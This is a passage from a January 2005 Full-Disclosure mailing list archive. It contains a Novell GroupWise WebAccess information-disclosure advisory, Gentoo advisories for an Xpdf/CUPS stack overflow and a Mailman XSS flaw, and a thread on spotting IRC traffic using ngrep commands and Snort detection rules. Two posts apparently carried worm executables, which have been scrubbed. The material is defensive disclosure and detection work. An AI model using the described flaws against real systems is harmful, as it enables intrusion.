http://webacc.company.com/servlet/webacc?merge=about), an
unauthenticated user is able get read-only access to various public 
templates and informational files, including the "about" page for 
the WebAccess server which includes the version of GroupWise that 
is installed.

============================== Impact ===============================

The server is not granting access to private files, and no files can 
be modified through this attack. The "about" page which contains the 
version of the GroupWise software installed is available, however, it 
is not considered restricted information, since this same information 
is available on the normal login URL page.

Customers that are concerned about the version information being made 
public can edit login.htt and about.htt template files to remove this 
information. These templates are located in the following 
default locations:

NetWare - 
sys:\tomcat\4\webapps\ROOT\WEB-INF\classes\com\novell\webaccess\templates\frames

Linux - 
/var/opt/novell/gw/WEB-INF/classes/com/novell/webaccess/templates/frames

Windows - 
C:\NOVELL\JAVA\SERVLETS\COM\NOVELL\WEBACCESS\TEMPLATES\FRAMES

Remove line 313 in login.htt and line 37 in about.htt.

Additionally, Novell will be making changes in the next update of 
GroupWise, version 6.5.4, to address these issues. The changes will 
be to ignore any query string parameters if the user is not 
authenticated.

Q. What files do non-authenticated users have access to? 
A. Read only access to template files are allowed, which are stored 
in a public directory on the server, as well as a version file, 
which contains the version of the GroupWise software that is 
installed. There is no security risk in displaying the template 
files without data--the template files themselves do not contain 
confidential information. For the GroupWise 6.5.4 release, this will 
be addressed so that no unauthenticated users will be able to access 
any information other than the login page.

Q. What query strings expose this behavior? 
A. The "error" query string and the "merge" query string can be used 
to access read-only versions of the WebAccess templates and the 
"about" information for the server. Note that there is no user data 
in these templates since the user is not authenticated. The merge 
query string works in the following way: when a user is logged in, 
actions that return data are performed. The resulting data is merged 
into the template specified by "merge" (or "error" if an error 
condition occurred) to produce useable output for the authenticated 
user. In the case where there is no authentication, there is no data 
to merge into the template. Authentication is not bypassed and there 
is no generic or "ghost" user logged in.

Q. What information or access is inappropriately divulged to 
unauthenticated users? 
A. This approach offers no means for accessing restricted files on 
the server. If the version information about the server is deemed 
restricted, the administrator can edit the about.htt and login.htt 
template files to remove this information. These templates are 
located at template\frames on an installed WebAccess server.

Q. Is there any way for an attacker to write data into the server 
through this method? 
A. The approach outlined provides no mechanism for modifying data 
or files on the server.

Q. Is it possible to use HTML injection to carry out a social 
engineering attack? 
A. This supposition is false as the attack described has no ability 
to modify data or files on the server in order to inject malicious 
code into WebAccess pages.



======================== Recommended Actions ========================

See detailed instructions in the referenced Technical Information 
Document (TID) http://support.novell.com/servlet/tidfinder/10096251 

============================ DISCLAIMER =============================

The content of this document is believed to be accurate at the time 
of publishing based on currently available information. However, the 
information is provided "AS IS" without any warranty or 
representation. Your use of the document constitutes acceptance of 
this disclaimer. Novell disclaims all warranties, express or implied, 
regarding this document, including the warranties of merchantability 
and fitness for a particular purpose. Novell is not liable for any 
direct, indirect, or consequential loss or damage arising from use 
of, or reliance on, this document or any security alert, even if 
Novell has been advised of the possibility of such damages and even 
if such damages are foreseeable.

============================ Appendices =============================

None

================ Contacting Novell Security Alerts ==================

To report suspected security vulnerabilities in Novell products, 
send email to
            secure at novell.com 

PGP users may send signed/encrypted information to us using our PGP 
key, available from the pgpkeys.mit.edu server, or our website at: 

            http://support.novell.com/security-alerts 


Novell Security Alerts, Novell, Inc. <secure at novell.com>
PGP Key Fingerprint:

3C6B 3F26 4E34 1ADF E27B  D6C4 1AC8 9184 34D1 9739 (revised)

========================= Revision History ==========================
       Original: 21-Jan-2005 - Original Publication
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFB8U9JGsiRhDTRlzkRAj9xAJoCdB/5gaMtYh3vre9uDls76KsnngCg7PXz
AiVCn6GGHz4krUdAcgQkgrs=
=Hfuz
-----END PGP SIGNATURE-----




From koon at gentoo.org  Fri Jan 21 20:39:54 2005
From: koon at gentoo.org (Thierry Carrez)
Date: Fri, 21 Jan 2005 21:39:54 +0100
Subject: [Full-Disclosure] [ GLSA 200501-28 ] Xpdf,
	GPdf: Stack overflow in Decrypt::makeFileKey2
Message-ID: <41F1689A.7070308@gentoo.org>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-28
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: Xpdf, GPdf: Stack overflow in Decrypt::makeFileKey2
      Date: January 21, 2005
      Bugs: #77888, #78128
        ID: 200501-28

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

A stack overflow was discovered in Xpdf, potentially resulting in the
execution of arbitrary code. GPdf includes Xpdf code and therefore is
vulnerable to the same issue.

Background
==========

Xpdf is an open source viewer for Portable Document Format (PDF) files.
GPdf is a Gnome-based PDF viewer that includes some Xpdf code.

Affected packages
=================

    -------------------------------------------------------------------
     Package        /  Vulnerable  /                        Unaffected
    -------------------------------------------------------------------
  1  app-text/xpdf     <= 3.00-r7                           >= 3.00-r8
  2  app-text/gpdf       < 2.8.2                              >= 2.8.2
    -------------------------------------------------------------------
     2 affected packages on all of their supported architectures.
    -------------------------------------------------------------------

Description
===========

iDEFENSE reports that the Decrypt::makeFileKey2 function in Xpdf's
Decrypt.cc insufficiently checks boundaries when processing /Encrypt
/Length tags in PDF files.

Impact
======

An attacker could entice an user to open a specially-crafted PDF file
which would trigger a stack overflow, potentially resulting in
execution of arbitrary code with the rights of the user running Xpdf or
GPdf.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All Xpdf users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=app-text/xpdf-3.00-r8"

All GPdf users should also upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=app-text/gpdf-2.8.2"

References
==========

  [ 1 ] CAN-2005-0064
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0064
  [ 2 ] iDEFENSE Advisory

http://www.idefense.com/application/poi/display?id=186&type=vulnerabilities&flashstatus=true

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-28.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 256 bytes
Desc: OpenPGP digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050121/2f1f51f3/attachment.bin 

From carlos.ulver at gmail.com  Fri Jan 21 21:54:24 2005
From: carlos.ulver at gmail.com (Carlos Ulver)
Date: Fri, 21 Jan 2005 19:54:24 -0200
Subject: [Full-Disclosure] Re: Netscape Overflow.
In-Reply-To: <2EA0C9D5AD898E4C8D3D1E893DB6270701BA7F76@df-chewy-msg.exchange.corp.microsoft.com>
References: <2EA0C9D5AD898E4C8D3D1E893DB6270701BA7F76@df-chewy-msg.exchange.corp.microsoft.com>
Message-ID: <10c6adab05012113545cd31409@mail.gmail.com>

Ok, here at  Ie 6.0.2800.1106 Sp1 crashed.


On Fri, 21 Jan 2005 11:54:33 -0800, Thushara Wijeratna
<thushw at exchange.microsoft.com> wrote:
>  
>  
> 
> Not a problem with IE 6.0 Win XP2. Browser mentions "stack overflow" but
> doesn't crash.


From randallm at fidmail.com  Fri Jan 21 23:34:00 2005
From: randallm at fidmail.com (RandallM)
Date: Fri, 21 Jan 2005 17:34:00 -0600
Subject: [Full-Disclosure] Scan for IRC
Message-ID: <200501212334.j0LNY1rs024688@lists.netsys.com>

I am so sorry for interrupting the list. I'm trying to pick up IRC
communications on the network. I've made some filters for Ethereal and
Observer but can't seem to pick it up. I'm doing something wrong. Used the
6668-6669 ports. Any help? 
 
thank you
Randall M
 



From fulldisclosure at miggy.org  Fri Jan 21 23:54:35 2005
From: fulldisclosure at miggy.org (Athanasius)
Date: Fri, 21 Jan 2005 23:54:35 +0000
Subject: [Full-Disclosure] Scan for IRC
In-Reply-To: <200501212334.j0LNY1rs024688@lists.netsys.com>
References: <200501212334.j0LNY1rs024688@lists.netsys.com>
Message-ID: <20050121235435.GB986@miggy.org>

On Fri, Jan 21, 2005 at 05:34:00PM -0600, RandallM wrote:
> I am so sorry for interrupting the list. I'm trying to pick up IRC
> communications on the network. I've made some filters for Ethereal and
> Observer but can't seem to pick it up. I'm doing something wrong. Used the
> 6668-6669 ports. Any help? 

  Well, default port for IRC is 6667, but many servers offer other
ports as well.  If you know the networks involved then check their
webpages for the list of servers/ports you'll want to monitor.

-Ath
-- 
- Athanasius = Athanasius(at)miggy.org / http://www.miggy.org/
                  Finger athan(at)fysh.org for PGP key
	   "And it's me who is my enemy. Me who beats me up.
Me who makes the monsters. Me who strips my confidence." Paula Cole - ME
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 240 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050121/51df493a/attachment.bin 

From lewk at gentoo.org  Sat Jan 22 00:04:21 2005
From: lewk at gentoo.org (Luke Macken)
Date: Fri, 21 Jan 2005 19:04:21 -0500
Subject: [Full-Disclosure] [ GLSA 200501-29 ] Mailman: Cross-site scripting
	vulnerability
Message-ID: <20050122000421.GA5970@tomservo.ne1.client2.attbi.c>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-29
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Low
     Title: Mailman: Cross-site scripting vulnerability
      Date: January 22, 2005
      Bugs: #77524
        ID: 200501-29

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

Mailman is vulnerable to cross-site scripting attacks.

Background
==========

Mailman is a Python-based mailing list server with an extensive web
interface.

Affected packages
=================

    -------------------------------------------------------------------
     Package           /  Vulnerable  /                     Unaffected
    -------------------------------------------------------------------
  1  net-mail/mailman     < 2.1.5-r3                       >= 2.1.5-r3

Description
===========

Florian Weimer has discovered a cross-site scripting vulnerability in
the error messages that are produced by Mailman.

Impact
======

By enticing a user to visiting a specially-crafted URL, an attacker can
execute arbitrary script code running in the context of the victim's
browser.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All Mailman users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=net-mail/mailman-2.1.5-r3"

References
==========

  [ 1 ] CAN-2004-1177
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1177

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-29.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050121/ec37194b/attachment.bin 

From Shadow333 at gmx.at  Sat Jan 22 00:10:11 2005
From: Shadow333 at gmx.at (Oliver Leitner)
Date: Sat, 22 Jan 2005 01:10:11 +0100
Subject: [Full-Disclosure] Scan for IRC
In-Reply-To: <200501212334.j0LNY1rs024688@lists.netsys.com>
References: <200501212334.j0LNY1rs024688@lists.netsys.com>
Message-ID: <200501220015.j0M0FLrs027759@lists.netsys.com>

from what i know normally irc runs on tcp 6667

assides of that irc can be on any port, so id try to rather block the central 
big servers instead of going for the port, and dont forget to block all known 
or unknown web pages that feature webirc portals...

well, that are my few thoughts.

greetings
Oliver Leiter
Technical Staff
http://www.shells.at

On Saturday 22 January 2005 00:34, RandallM wrote:
> I am so sorry for interrupting the list. I'm trying to pick up IRC
> communications on the network. I've made some filters for Ethereal and
> Observer but can't seem to pick it up. I'm doing something wrong. Used the
> 6668-6669 ports. Any help?
>
> thank you
> Randall M
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html

-- 
By reading this mail you agree to the following:

using or giving out the email address and any 
other info of the author of this email is strictly forbidden.
By acting against this agreement the author of this mail 
will take possible legal actions against the abuse.


From list at nolog.org  Sat Jan 22 00:40:54 2005
From: list at nolog.org (List)
Date: Sat, 22 Jan 2005 07:40:54 +0700
Subject: [Full-Disclosure] Re: Msg reply
Message-ID: <fovgbgzqsolazigwfyd@lists.netsys.com>

An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050122/f5362a97/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: the_message.com
Type: application/octet-stream
Size: 20309 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050122/f5362a97/attachment.obj 

From Blady at UniBG.net  Sat Jan 22 03:25:07 2005
From: Blady at UniBG.net (Nikolay Baramov)
Date: Sat, 22 Jan 2005 03:25:07 +0000
Subject: [Full-Disclosure] RE: Scan for IRC
In-Reply-To: <200501220015.j0M0FLrs027759@lists.netsys.com>
References: <200501212334.j0LNY1rs024688@lists.netsys.com>
	<200501220015.j0M0FLrs027759@lists.netsys.com>
Message-ID: <200501220325.07209.Blady@UniBG.net>

Other ports commonly used are 7000 and 9000.

---
greetings
N. Baramov
[irc.tu-varna.edu]

On Saturday 22 January 2005 00:10, Oliver Leitner wrote:
> from what i know normally irc runs on tcp 6667
>
> assides of that irc can be on any port, so id try to rather block the
> central big servers instead of going for the port, and dont forget to block
> all known or unknown web pages that feature webirc portals...
>
> well, that are my few thoughts.
>
> greetings
> Oliver Leiter
> Technical Staff
> http://www.shells.at
>
> On Saturday 22 January 2005 00:34, RandallM wrote:
> > I am so sorry for interrupting the list. I'm trying to pick up IRC
> > communications on the network. I've made some filters for Ethereal and
> > Observer but can't seem to pick it up. I'm doing something wrong. Used
> > the 6668-6669 ports. Any help?
> >
> > thank you
> > Randall M
> >
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.netsys.com/full-disclosure-charter.html


From frank at knobbe.us  Sat Jan 22 01:40:52 2005
From: frank at knobbe.us (Frank Knobbe)
Date: Fri, 21 Jan 2005 19:40:52 -0600
Subject: [Full-Disclosure] RE: Scan for IRC
In-Reply-To: <200501220325.07209.Blady@UniBG.net>
References: <200501212334.j0LNY1rs024688@lists.netsys.com>
	<200501220015.j0M0FLrs027759@lists.netsys.com>
	<200501220325.07209.Blady@UniBG.net>
Message-ID: <1106358052.14693.70.camel@localhost>

On Sat, 2005-01-22 at 03:25 +0000, Nikolay Baramov wrote:
> Other ports commonly used are 7000 and 9000.

And another, perhaps even more commonly used port, is 443 since that is
allowed unproxied/uninspected through most firewalls.

(clear-text IRC on port 443, although IRC can also be run over SSL)

Regards,
Frank

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 187 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050121/4c1107cf/attachment.bin 

From kkadow at gmail.com  Sat Jan 22 01:41:02 2005
From: kkadow at gmail.com (Kevin)
Date: Fri, 21 Jan 2005 19:41:02 -0600
Subject: [Full-Disclosure] Scan for IRC
In-Reply-To: <200501212334.j0LNY1rs024688@lists.netsys.com>
References: <200501212334.j0LNY1rs024688@lists.netsys.com>
Message-ID: <dc718edc0501211741e6b7268@mail.gmail.com>

On Fri, 21 Jan 2005 17:34:00 -0600, RandallM <randallm at fidmail.com> wrote:
> I am so sorry for interrupting the list. I'm trying to pick up IRC
> communications on the network. I've made some filters for Ethereal and
> Observer but can't seem to pick it up. I'm doing something wrong. Used the
> 6668-6669 ports. Any help?

Not only can an IRC server be on any port (as mentioned by Oliver
Leitner), but clients can also tunnel the connection through proxies,
or even fully encrypt chat sessions inside SSL, within an SSH tunnel,
or in a binary packet protocol such as SILC.

Assuming the communication is in the clear, you could use Snort to
detect IRC communication, regardless of port.  More on this topic can
be found here:
    http://www.giac.org/practical/GSEC/Chris_Hanna_GSEC.pdf

Kevin

(P.S. I don't know who Chris Hanna is, but the paper seems sound.)


From warchild at spoofed.org  Sat Jan 22 02:07:11 2005
From: warchild at spoofed.org (Jon Hart)
Date: Fri, 21 Jan 2005 21:07:11 -0500
Subject: [Full-Disclosure] Scan for IRC
In-Reply-To: <200501212334.j0LNY1rs024688@lists.netsys.com>
References: <200501212334.j0LNY1rs024688@lists.netsys.com>
Message-ID: <20050122020711.GC1846@spoofed.org>

On Fri, Jan 21, 2005 at 05:34:00PM -0600, RandallM wrote:
> I am so sorry for interrupting the list. I'm trying to pick up IRC
> communications on the network. I've made some filters for Ethereal and
> Observer but can't seem to pick it up. I'm doing something wrong. Used the
> 6668-6669 ports. Any help? 

In addition to the ports you and others mentioned, don't forget 194, 994
and 6665-6668/TCP.  994 is typically IRC over SSL so all you'll likely
be able to detect with a sniffer is the existence of 994/TCP traffic,
not that its actually SSL.

My suggestion?  Looking for 194, 994 and 6665-6668/TCP will only help
you locate legitimate IRC servers running on standard ports.  But the
really interesting traffic will be on other ports.  So use ngrep:

ngrep -i "NICK|PRIVMSG" tcp

(or something similar)

Snort has a set of signatures that could easily be modified to work on
arbitrary ports to detect IRC -- check out SID 542, 1463 and 1729.

-jon


From list at nolog.org  Sat Jan 22 02:21:14 2005
From: list at nolog.org (List)
Date: Sat, 22 Jan 2005 09:21:14 +0700
Subject: [Full-Disclosure] RE: Message Notify
Message-ID: <vculiqrhxrlpwgxovfz@lists.netsys.com>

An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050122/b94a263e/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: Smoke.com
Type: application/octet-stream
Size: 21163 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050122/b94a263e/attachment.obj 

From pauls at utdallas.edu  Sat Jan 22 03:47:24 2005
From: pauls at utdallas.edu (Paul Schmehl)
Date: Fri, 21 Jan 2005 21:47:24 -0600
Subject: [Full-Disclosure] Scan for IRC
In-Reply-To: <200501212334.j0LNY1rs024688@lists.netsys.com>
References: <200501212334.j0LNY1rs024688@lists.netsys.com>
Message-ID: <2147483647.1106344044@[192.168.2.101]>

--On Friday, January 21, 2005 5:34 PM -0600 RandallM <randallm at fidmail.com> 
wrote:

> I am so sorry for interrupting the list. I'm trying to pick up IRC
> communications on the network. I've made some filters for Ethereal and
> Observer but can't seem to pick it up. I'm doing something wrong. Used the
> 6668-6669 ports. Any help?
>
You'll have a lot more success using something like snort or tcpdump to 
catch them.  For example, you could easily write a couple of rules that 
would catch any IRC communications, regardless of the port used.

alert tcp $HOME_NET any -> any any (msg:"IRC communications"; content: 
JOIN; sid: 1000000; rev:1;)
alert tcp $HOME_NET any -> any any (msg:"IRC communications"; content: 
PRIVMSG; sid: 1000001; rev:1;)

Paul Schmehl (pauls at utdallas.edu)
Adjunct Information Security Officer
The University of Texas at Dallas
AVIEN Founding Member
http://www.utdallas.edu


From naverxp at yahoo.com.sg  Sat Jan 22 06:00:39 2005
From: naverxp at yahoo.com.sg (John)
Date: Sat, 22 Jan 2005 14:00:39 +0800
Subject: [Full-Disclosure] Packet/Signature-based Firewall
Message-ID: <41F1EC07.4080501@yahoo.com.sg>

Hi

I was wondering are there any Budget/OpenSource signature-based firewall 
around like the one Packeteer has? (packetshaper)

Thanks.



From mail at hackingspirits.com  Sat Jan 22 09:05:52 2005
From: mail at hackingspirits.com (Debasis Mohanty)
Date: Sat, 22 Jan 2005 14:35:52 +0530
Subject: [Full-Disclosure] Packet/Signature-based Firewall
In-Reply-To: <41F1EC07.4080501@yahoo.com.sg>
Message-ID: <200501220906.j0M96Grs008486@lists.netsys.com>

PacketShaper is a Firewall; well I didn't know that... :P

FYI: It is a network traffic management product (maybe somewhat more than
that but now a Firewall)


Regards, 
Debasis Mohanty
www.hackingspirits.com 

-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of John
Sent: Saturday, January 22, 2005 11:31 AM
To: full-disclosure at lists.netsys.com
Subject: [Full-Disclosure] Packet/Signature-based Firewall

Hi

I was wondering are there any Budget/OpenSource signature-based firewall
around like the one Packeteer has? (packetshaper)

Thanks.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html






From koon at gentoo.org  Sat Jan 22 09:22:27 2005
From: koon at gentoo.org (Thierry Carrez)
Date: Sat, 22 Jan 2005 10:22:27 +0100
Subject: [Full-Disclosure] [ GLSA 200501-30 ] CUPS: Stack overflow in
	included Xpdf code
Message-ID: <41F21B53.2000302@gentoo.org>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-30
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: CUPS: Stack overflow in included Xpdf code
      Date: January 22, 2005
      Bugs: #78249
        ID: 200501-30

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

CUPS includes Xpdf code and therefore is vulnerable to the recent stack
overflow issue, potentially resulting in the remote execution of
arbitrary code.

Background
==========

The Common UNIX Printing System (CUPS) is a cross-platform print
spooler. It makes use of Xpdf code to handle PDF files.

Affected packages
=================

    -------------------------------------------------------------------
     Package         /   Vulnerable   /                     Unaffected
    -------------------------------------------------------------------
  1  net-print/cups      < 1.1.23-r1                      >= 1.1.23-r1

Description
===========

The Decrypt::makeFileKey2 function in Xpdf's Decrypt.cc insufficiently
checks boundaries when processing /Encrypt /Length tags in PDF files
(GLSA 200501-28).

Impact
======

This issue could be exploited by a remote attacker to execute arbitrary
code by sending a malicious print job to a CUPS spooler.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All CUPS users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=net-print/cups-1.1.23-r1"

References
==========

  [ 1 ] CAN-2005-0064
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0064
  [ 2 ] GLSA 200501-28
        http://www.gentoo.org/security/en/glsa/glsa-200501-28.xml

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-30.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 256 bytes
Desc: OpenPGP digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050122/9a530e4c/attachment.bin 

From aditya.deshmukh at online.gateway.expertworks.net  Sat Jan 22 09:25:13 2005
From: aditya.deshmukh at online.gateway.expertworks.net (ALD, Aditya,
	Aditya Lalit Deshmukh)
Date: Sat, 22 Jan 2005 14:55:13 +0530
Subject: [Full-Disclosure] Packet/Signature-based Firewall
In-Reply-To: <41F1EC07.4080501@yahoo.com.sg>
Message-ID: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAA0BKn9uKnWEeCDU7Vx+IAQ8KAAAAQAAAABFmN5oPFXUmWSlPv4MezowEAAAAA@online.gateway.expertworks.net>

>I was wondering are there any Budget/OpenSource 
>signature-based firewall 
>around like the one Packeteer has? (packetshaper)

Snort with pf on openbsd ?  

Works for me always, snort is a good IDS and control pf via command
execution to dynamically stop attacks as well as it has traffic shaping 


-aditya


________________________________________________________________________
Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com)


From aditya.deshmukh at online.gateway.expertworks.net  Sat Jan 22 09:20:52 2005
From: aditya.deshmukh at online.gateway.expertworks.net (ALD, Aditya,
	Aditya Lalit Deshmukh)
Date: Sat, 22 Jan 2005 14:50:52 +0530
Subject: [Full-Disclosure] Scan for IRC
In-Reply-To: <200501212334.j0LNY1rs024688@lists.netsys.com>
Message-ID: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAA0BKn9uKnWEeCDU7Vx+IAQ8KAAAAQAAAAafkDGD/3MUSBOwETa2eU4wEAAAAA@online.gateway.expertworks.net>

How do u know that you are looking for the irc traffic ? Somewhere you must
have see connections going out to some host or some connection attempts. You
could always try sniffing using that ip address on all ports if you have set
up everthing else correctly... 

How ever if something is not setup correctly then you would have trouble
shoot this. Maybe posting some more info will help us all diagnose this for
you and help u out - maybe offlist ? 

-aditya

>-----Original Message-----
>From: full-disclosure-bounces at lists.netsys.com 
>[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of RandallM
>Sent: Saturday, January 22, 2005 05:04 AM
>To: full-disclosure at lists.netsys.com
>Subject: [Full-Disclosure] Scan for IRC
>
>I am so sorry for interrupting the list. I'm trying to pick up IRC
>communications on the network. I've made some filters for Ethereal and
>Observer but can't seem to pick it up. I'm doing something 
>wrong. Used the
>6668-6669 ports. Any help? 
> 
>thank you
>Randall M
> 
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>


________________________________________________________________________
Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com)


From naverxp at yahoo.com.sg  Sat Jan 22 13:50:34 2005
From: naverxp at yahoo.com.sg (John)
Date: Sat, 22 Jan 2005 21:50:34 +0800
Subject: [Full-Disclosure] Packet/Signature-based Firewall
Message-ID: <41F25A2A.9070101@yahoo.com.sg>

Yeah. Sorry for the huge mistake, i was thinking since it does reject/block packets, so it actually does a big component of what Firewall is for (correct me if i'm wrong). 

According to their website its, 

PacketShaper is just one component of Packeteer's application traffic
management system. This system is delivered in a single appliance with
multiple software options that provide:

Thanks. Are there anymore solutions apart from snort with pf on openbsd?




Debasis Mohanty wrote:

>PacketShaper is a Firewall; well I didn't know that... :P
>
>FYI: It is a network traffic management product (maybe somewhat more than
>that but now a Firewall)
>
>
>Regards, 
>Debasis Mohanty
>www.hackingspirits.com 
>
>-----Original Message-----
>From: full-disclosure-bounces at lists.netsys.com
>[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of John
>Sent: Saturday, January 22, 2005 11:31 AM
>To: full-disclosure at lists.netsys.com
>Subject: [Full-Disclosure] Packet/Signature-based Firewall
>
>Hi
>
>I was wondering are there any Budget/OpenSource signature-based firewall
>around like the one Packeteer has? (packetshaper)
>
>Thanks.
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>
>
>
>
>  
>




From hhoffman at ip-solutions.net  Sat Jan 22 13:55:45 2005
From: hhoffman at ip-solutions.net (Harry Hoffman)
Date: Sat, 22 Jan 2005 08:55:45 -0500
Subject: [Full-Disclosure] Scan for IRC
In-Reply-To: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAA0BKn9uKnWEeCDU7Vx+IAQ8KAAAAQAAAAafkDGD/3MUSBOwETa2eU4wEAAAAA@online.gateway.expertworks.net>
References: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAA0BKn9uKnWEeCDU7Vx+IAQ8KAAAAQAAAAafkDGD/3MUSBOwETa2eU4wEAAAAA@online.gateway.expertworks.net>
Message-ID: <41F25B61.9050702@ip-solutions.net>

Use ngrep to look for signs of irc (i.e. PRIVMSG) instead of just 
looking for the ports irc (ususally, but not always) runs on.

something like: "ngrep -qitd eth0 'privmsg'" will probably get you much 
better results.

HTH,
Harry

ALD, Aditya, Aditya Lalit Deshmukh wrote:
> How do u know that you are looking for the irc traffic ? Somewhere you must
> have see connections going out to some host or some connection attempts. You
> could always try sniffing using that ip address on all ports if you have set
> up everthing else correctly... 
> 
> How ever if something is not setup correctly then you would have trouble
> shoot this. Maybe posting some more info will help us all diagnose this for
> you and help u out - maybe offlist ? 
> 
> -aditya
> 
> 
>>-----Original Message-----
>>From: full-disclosure-bounces at lists.netsys.com 
>>[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of RandallM
>>Sent: Saturday, January 22, 2005 05:04 AM
>>To: full-disclosure at lists.netsys.com
>>Subject: [Full-Disclosure] Scan for IRC
>>
>>I am so sorry for interrupting the list. I'm trying to pick up IRC
>>communications on the network. I've made some filters for Ethereal and
>>Observer but can't seem to pick it up. I'm doing something 
>>wrong. Used the
>>6668-6669 ports. Any help? 
>>
>>thank you
>>Randall M
>>
>>
>>_______________________________________________
>>Full-Disclosure - We believe in it.
>>Charter: http://lists.netsys.com/full-disclosure-charter.html
>>
>>
> 
> 
> 
> ________________________________________________________________________
> Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com)
> _______________________________________________
> Full-Disclosure - We believe in it.
